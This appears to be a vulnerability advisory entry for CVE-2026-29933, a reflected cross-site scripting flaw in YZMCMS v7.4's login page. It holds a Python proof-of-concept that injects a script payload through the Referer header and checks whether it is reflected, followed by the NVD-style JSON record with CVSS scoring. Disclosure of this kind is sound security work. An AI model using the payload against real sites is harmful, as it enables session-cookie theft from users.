CVE-2026-29933

import requests # Target URL (Vulnerable component) target_url = "http://example.com/index/login.html" # Malicious payload injected into the Referer header # The application fails to sanitize this header, leading to XSS headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Referer": "<script>alert(document.cookie)</script>" } try: # Send GET request with the malicious header response = requests.get(target_url, headers=headers) # Check if the payload is reflected in the response body if "<script>alert(document.cookie)</script>" in response.text: print("[+] Vulnerability Confirmed: Reflected XSS via Referer header.") else: print("[-] Vulnerability not confirmed or payload blocked.") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-29933", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:35.890", "lastModified": "2026-03-31T21:38:24.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in the /index/login.html component of YZMCMS v7.4 allows attackers to execute arbitrary Javascript in the context of the user's browser via modifying the referrer value in the request header."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejada en el componente /index/login.html de YZMCMS v7.4 permite a los atacantes ejecutar Javascript arbitrario en el contexto del navegador del usuario mediante la modificación del valor del referrer en la cabecera de la solicitud."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yzmcms:yzmcms:7.4:*:*:*:*:*:*:*", "matchCriteriaId": "A6242988-038F-490C-BF15-892EA56E7ACA"}]}]}], "references": [{"url": "https://github.com/yzmcms/yzmcms/issues/69", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/yzmcms/yzmcms/issues/69", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Mitigation", "Vendor Advisory"]}]}}